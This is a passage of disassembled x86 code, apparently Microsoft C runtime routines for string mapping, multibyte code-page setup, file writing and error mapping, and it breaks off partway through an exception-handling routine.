		call	dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BDC5
		mov	dword_46951C, ebx
		jmp	short loc_41BDE7
; ---------------------------------------------------------------------------


loc_41BDC5:				; CODE XREF: sub_41BD71+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438FD4
		push	esi
		push	edi
		call	dword_42118C	; LCMapStringA
		test	eax, eax
		jz	loc_41BEFF
		mov	dword_46951C, 2


loc_41BDE7:				; CODE XREF: sub_41BD71+2Ej
					; sub_41BD71+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41BDFC
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41BDFC:				; CODE XREF: sub_41BD71+79j
		mov	eax, dword_46951C
		cmp	eax, 2
		jnz	short loc_41BE23
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42118C	; LCMapStringA
		jmp	loc_41BF01
; ---------------------------------------------------------------------------


loc_41BE23:				; CODE XREF: sub_41BD71+93j
		cmp	eax, 1
		jnz	loc_41BEFF
		cmp	[ebp+arg_18], edi
		jnz	short loc_41BE39
		mov	eax, dword_469538
		mov	[ebp+arg_18], eax


loc_41BE39:				; CODE XREF: sub_41BD71+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41BEFF
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BE94
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41BE94:				; CODE XREF: sub_41BD71+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41BEFF
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41BEFF
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringW
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41BEFF
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41BF13
		cmp	[ebp+arg_14], edi
		jz	loc_41BF8E
		cmp	esi, [ebp+arg_14]
		jg	short loc_41BEFF
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringW
		test	eax, eax
		jnz	loc_41BF8E


loc_41BEFF:				; CODE XREF: sub_41BD71+66j
					; sub_41BD71+B5j ...
		xor	eax, eax


loc_41BF01:				; CODE XREF: sub_41BD71+ADj
					; sub_41BD71+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BF13:				; CODE XREF: sub_41BD71+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BF47
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41BF47:				; CODE XREF: sub_41BD71+1C2j
		cmp	ebx, edi
		jz	short loc_41BEFF
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_421190	; LCMapStringW
		test	eax, eax
		jz	short loc_41BEFF
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41BF6E
		push	edi
		push	edi
		jmp	short loc_41BF74
; ---------------------------------------------------------------------------


loc_41BF6E:				; CODE XREF: sub_41BD71+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41BF74:				; CODE XREF: sub_41BD71+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_421138	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BEFF


loc_41BF8E:				; CODE XREF: sub_41BD71+165j
					; sub_41BD71+188j
		mov	eax, esi
		jmp	loc_41BF01
sub_41BD71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF95	proc near		; CODE XREF: sub_41BD71+81p
					; sub_41F845+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BFB2


loc_41BFA5:				; CODE XREF: sub_41BF95+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BFB2
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BFA5


loc_41BFB2:				; CODE XREF: sub_41BF95+Ej
					; sub_41BF95+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BFBD
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41BFBD:				; CODE XREF: sub_41BF95+21j
		mov	eax, edx
		retn
sub_41BF95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFC0	proc near		; CODE XREF: sub_41C384+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C159	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_46A8C4
		mov	[ebp+arg_0], esi
		jz	loc_41C14D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C143
		xor	edx, edx
		mov	eax, offset dword_4380F0


loc_41BFF4:				; CODE XREF: sub_41BFC0+41j
		cmp	[eax], esi
		jz	short loc_41C06A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4381E0
		jl	short loc_41BFF4
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_421194	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C13B
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9E0
		cmp	[ebp+var_18], 1
		mov	dword_46A8C4, esi
		rep stosd
		stosb
		mov	dword_46AAE4, ebx
		jbe	loc_41C129
		cmp	[ebp+var_12], 0
		jz	loc_41C0FF
		lea	ecx, [ebp+var_11]


loc_41C047:				; CODE XREF: sub_41BFC0+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C0FF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C058:				; CODE XREF: sub_41BFC0+A8j
		cmp	eax, edx
		ja	loc_41C0F3
		or	byte_46A9E1[eax], 4
		inc	eax
		jmp	short loc_41C058
; ---------------------------------------------------------------------------


loc_41C06A:				; CODE XREF: sub_41BFC0+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_438100[esi]


loc_41C086:				; CODE XREF: sub_41BFC0+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C0B9


loc_41C08D:				; CODE XREF: sub_41BFC0+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C0B9
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C0B2
		mov	edx, [ebp+var_4]
		mov	dl, byte_4380E8[edx]


loc_41C0A7:				; CODE XREF: sub_41BFC0+F0j
		or	byte_46A9E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C0A7


loc_41C0B2:				; CODE XREF: sub_41BFC0+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C08D


loc_41C0B9:				; CODE XREF: sub_41BFC0+CBj
					; sub_41BFC0+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C086
		mov	eax, [ebp+arg_0]
		mov	dword_46A8DC, 1
		push	eax
		mov	dword_46A8C4, eax
		call	sub_41C1A3
		lea	esi, dword_4380F4[esi]
		mov	edi, offset dword_46A8D0
		movsd
		movsd
		pop	ecx
		mov	dword_46AAE4, eax
		movsd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------


loc_41C0F3:				; CODE XREF: sub_41BFC0+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C047


loc_41C0FF:				; CODE XREF: sub_41BFC0+7Ej
					; sub_41BFC0+8Bj
		push	1
		pop	eax


loc_41C102:				; CODE XREF: sub_41BFC0+14Fj
		or	byte_46A9E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C102
		push	esi
		call	sub_41C1A3
		pop	ecx
		mov	dword_46AAE4, eax
		mov	dword_46A8DC, 1
		jmp	short loc_41C12F
; ---------------------------------------------------------------------------


loc_41C129:				; CODE XREF: sub_41BFC0+74j
		mov	dword_46A8DC, ebx


loc_41C12F:				; CODE XREF: sub_41BFC0+167j
		xor	eax, eax
		mov	edi, offset dword_46A8D0
		stosd
		stosd
		stosd
		jmp	short loc_41C148
; ---------------------------------------------------------------------------


loc_41C13B:				; CODE XREF: sub_41BFC0+51j
		cmp	dword_469540, ebx
		jz	short loc_41C151


loc_41C143:				; CODE XREF: sub_41BFC0+27j
		call	sub_41C1D6


loc_41C148:				; CODE XREF: sub_41BFC0+131j
					; sub_41BFC0+179j
		call	sub_41C1FF


loc_41C14D:				; CODE XREF: sub_41BFC0+1Dj
		xor	eax, eax
		jmp	short loc_41C154
; ---------------------------------------------------------------------------


loc_41C151:				; CODE XREF: sub_41BFC0+181j
		or	eax, 0FFFFFFFFh


loc_41C154:				; CODE XREF: sub_41BFC0+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: sub_41BFC0+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_469540, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41C179
		mov	dword_469540, 1
		jmp	dword_42119C
; ---------------------------------------------------------------------------


loc_41C179:				; CODE XREF: sub_41C159+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41C18E
		mov	dword_469540, 1
		jmp	dword_421198
; ---------------------------------------------------------------------------


loc_41C18E:				; CODE XREF: sub_41C159+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C1A2
		mov	eax, dword_469538
		mov	dword_469540, 1

locret_41C1A2:				; CODE XREF: sub_41C159+38j
		retn
sub_41C159	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1A3	proc near		; CODE XREF: sub_41BFC0+118p
					; sub_41BFC0+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C1D0
		sub	eax, 4
		jz	short loc_41C1CA
		sub	eax, 0Dh
		jz	short loc_41C1C4
		dec	eax
		jz	short loc_41C1BE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C1BE:				; CODE XREF: sub_41C1A3+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C1C4:				; CODE XREF: sub_41C1A3+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C1CA:				; CODE XREF: sub_41C1A3+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C1D0:				; CODE XREF: sub_41C1A3+9j
		mov	eax, 411h
		retn
sub_41C1A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1D6	proc near		; CODE XREF: sub_41BFC0:loc_41C143p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46A9E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46A8D0
		mov	dword_46A8C4, eax
		mov	dword_46A8DC, eax
		mov	dword_46AAE4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C1D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1FF	proc near		; CODE XREF: sub_41BFC0:loc_41C148p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_46A8C4
		call	dword_421194	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41C338
		xor	eax, eax
		mov	esi, 100h


loc_41C229:				; CODE XREF: sub_41C1FF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C229
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C27A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41C248:				; CODE XREF: sub_41C1FF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C26F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C26F:				; CODE XREF: sub_41C1FF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C248
		pop	edi
		pop	ebx


loc_41C27A:				; CODE XREF: sub_41C1FF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_46AAE4
		push	dword_46A8C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41D1F7
		push	0
		lea	eax, [ebp+var_214]
		push	dword_46A8C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_46AAE4
		call	sub_41BD71
		push	0
		lea	eax, [ebp+var_314]
		push	dword_46A8C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_46AAE4
		call	sub_41BD71
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41C2F5:				; CODE XREF: sub_41C1FF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C313
		or	byte_46A9E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41C30B:				; CODE XREF: sub_41C1FF+127j
		mov	byte_46A8E0[eax], dl
		jmp	short loc_41C32F
; ---------------------------------------------------------------------------


loc_41C313:				; CODE XREF: sub_41C1FF+FCj
		test	dl, 2
		jz	short loc_41C328
		or	byte_46A9E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C30B
; ---------------------------------------------------------------------------


loc_41C328:				; CODE XREF: sub_41C1FF+117j
		and	byte_46A8E0[eax], 0


loc_41C32F:				; CODE XREF: sub_41C1FF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C2F5
		jmp	short loc_41C381
; ---------------------------------------------------------------------------


loc_41C338:				; CODE XREF: sub_41C1FF+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41C33F:				; CODE XREF: sub_41C1FF+180j
		cmp	eax, 41h
		jb	short loc_41C35D
		cmp	eax, 5Ah
		ja	short loc_41C35D
		or	byte_46A9E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41C355:				; CODE XREF: sub_41C1FF+174j
		mov	byte_46A8E0[eax], cl
		jmp	short loc_41C37C
; ---------------------------------------------------------------------------


loc_41C35D:				; CODE XREF: sub_41C1FF+143j
					; sub_41C1FF+148j
		cmp	eax, 61h
		jb	short loc_41C375
		cmp	eax, 7Ah
		ja	short loc_41C375
		or	byte_46A9E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C355
; ---------------------------------------------------------------------------


loc_41C375:				; CODE XREF: sub_41C1FF+161j
					; sub_41C1FF+166j
		and	byte_46A8E0[eax], 0


loc_41C37C:				; CODE XREF: sub_41C1FF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C33F


loc_41C381:				; CODE XREF: sub_41C1FF+137j
		pop	esi
		leave
		retn
sub_41C1FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C384	proc near		; CODE XREF: sub_41C7C2+9p
					; sub_41C81A+Dp ...
		cmp	dword_46AB0C, 0
		jnz	short locret_41C39F
		push	0FFFFFFFDh
		call	sub_41BFC0
		pop	ecx
		mov	dword_46AB0C, 1

locret_41C39F:				; CODE XREF: sub_41C384+7j
		retn
sub_41C384	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3A0	proc near		; CODE XREF: sub_417348+2Bp
					; sub_417348+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_46A8DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C3C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D40
		add	esp, 0Ch
		jmp	short loc_41C427
; ---------------------------------------------------------------------------


loc_41C3C4:				; CODE XREF: sub_41C3A0+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C409
		mov	ecx, [ebp+arg_4]


loc_41C3CF:				; CODE XREF: sub_41C3A0+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_46A9E1[esi], 4
		mov	[edi], al
		jz	short loc_41C3F3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C3FF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C405
		jmp	short loc_41C3F9
; ---------------------------------------------------------------------------


loc_41C3F3:				; CODE XREF: sub_41C3A0+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C409


loc_41C3F9:				; CODE XREF: sub_41C3A0+51j
		test	edx, edx
		jnz	short loc_41C3CF
		jmp	short loc_41C409
; ---------------------------------------------------------------------------


loc_41C3FF:				; CODE XREF: sub_41C3A0+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C409
; ---------------------------------------------------------------------------


loc_41C405:				; CODE XREF: sub_41C3A0+4Fj
		and	byte ptr [edi-2], 0


loc_41C409:				; CODE XREF: sub_41C3A0+2Aj
					; sub_41C3A0+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C424
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41C424:				; CODE XREF: sub_41C3A0+6Fj
		mov	eax, [ebp+arg_0]


loc_41C427:				; CODE XREF: sub_41C3A0+22j
		pop	edi
		pop	ebp
		retn
sub_41C3A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C42A	proc near		; CODE XREF: sub_4175FF+A2p
					; sub_417C37+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_46A8C0
		push	esi
		push	edi
		jnb	loc_41C5BE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41C5BE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41C47B


loc_41C474:				; CODE XREF: sub_41C42A+177j
		xor	eax, eax
		jmp	loc_41C5D2
; ---------------------------------------------------------------------------


loc_41C47B:				; CODE XREF: sub_41C42A+48j
		test	al, 20h
		jz	short loc_41C48B
		push	2
		push	edi
		push	ecx
		call	sub_41BB7F
		add	esp, 0Ch


loc_41C48B:				; CODE XREF: sub_41C42A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C55A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41C592


loc_41C4AB:				; CODE XREF: sub_41C42A+F5j
		lea	eax, [ebp+var_414]


loc_41C4B1:				; CODE XREF: sub_41C42A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C4E5
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41C4D0
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41C4D0:				; CODE XREF: sub_41C42A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41C4B1


loc_41C4E5:				; CODE XREF: sub_41C42A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41C54F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41C521
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41C4AB


loc_41C521:				; CODE XREF: sub_41C42A+EAj
					; sub_41C42A+12Ej
		xor	edi, edi


loc_41C523:				; CODE XREF: sub_41C42A+150j
					; sub_41C42A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41C5B9
		cmp	[ebp+arg_0], edi
		jz	short loc_41C592
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41C587
		mov	dword_469494, 9
		mov	dword_469498, eax
		jmp	loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C54F:				; CODE XREF: sub_41C42A+E0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C521
; ---------------------------------------------------------------------------


loc_41C55A:				; CODE XREF: sub_41C42A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41C57C
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------


loc_41C57C:				; CODE XREF: sub_41C42A+145j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41C523
; ---------------------------------------------------------------------------


loc_41C587:				; CODE XREF: sub_41C42A+10Fj
		push	[ebp+arg_0]
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C592:				; CODE XREF: sub_41C42A+7Bj
					; sub_41C42A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C5A7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41C474


loc_41C5A7:				; CODE XREF: sub_41C42A+16Fj
		mov	dword_469494, 1Ch
		mov	dword_469498, edi
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C5B9:				; CODE XREF: sub_41C42A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41C5D2
; ---------------------------------------------------------------------------


loc_41C5BE:				; CODE XREF: sub_41C42A+15j
					; sub_41C42A+37j
		and	dword_469498, 0
		mov	dword_469494, 9


loc_41C5CF:				; CODE XREF: sub_41C42A+120j
					; sub_41C42A+166j ...
		or	eax, 0FFFFFFFFh


loc_41C5D2:				; CODE XREF: sub_41C42A+4Cj
					; sub_41C42A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C42A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5D7	proc near		; CODE XREF: sub_417709+16p
					; sub_4178FC+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_469498, ecx
		mov	eax, offset dword_4381E0


loc_41C5E8:				; CODE XREF: sub_41C5D7+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C60C
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_438348
		jl	short loc_41C5E8
		cmp	ecx, 13h
		jb	short loc_41C619
		cmp	ecx, 24h
		ja	short loc_41C619
		mov	dword_469494, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C60C:				; CODE XREF: sub_41C5D7+13j
		mov	eax, dword_4381E4[edx*8]
		mov	dword_469494, eax
		retn
; ---------------------------------------------------------------------------


loc_41C619:				; CODE XREF: sub_41C5D7+23j
					; sub_41C5D7+28j
		cmp	ecx, 0BCh
		jb	short loc_41C633
		cmp	ecx, 0CAh
		mov	dword_469494, 8
		jbe	short locret_41C63D


loc_41C633:				; CODE XREF: sub_41C5D7+48j
		mov	dword_469494, 16h

locret_41C63D:				; CODE XREF: sub_41C5D7+5Aj
		retn
sub_41C5D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C63E	proc near		; CODE XREF: sub_417AF8+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41C77F
		test	eax, eax
		pop	ecx
		jz	loc_41C773
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41C773
		cmp	ebx, 5
		jnz	short loc_41C66F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41C77C
; ---------------------------------------------------------------------------


loc_41C66F:				; CODE XREF: sub_41C63E+23j
		cmp	ebx, 1
		jz	loc_41C76E
		mov	ecx, dword_469544
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_469544, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41C75E
		mov	ecx, dword_4383C0
		mov	edx, dword_4383C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41C6BE
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:438350h[esi*4]


loc_41C6B5:				; CODE XREF: sub_41C63E+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41C6B5


loc_41C6BE:				; CODE XREF: sub_41C63E+69j
		mov	eax, [eax]
		mov	esi, dword_4383CC
		cmp	eax, 0C000008Eh
		jnz	short loc_41C6D9
		mov	dword_4383CC, 83h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C6D9:				; CODE XREF: sub_41C63E+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41C6EC
		mov	dword_4383CC, 81h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C6EC:				; CODE XREF: sub_41C63E+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41C6FF
		mov	dword_4383CC, 84h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C63E+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41C712
		mov	dword_4383CC, 85h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C712:				; CODE XREF: sub_41C63E+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41C725
		mov	dword_4383CC, 82h
		jmp	short loc_41C749
; ---------------------------------------------------------------------------


loc_41C725:				; CODE XREF: sub_41C63E+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41C738
		mov	dword_4383CC, 86h
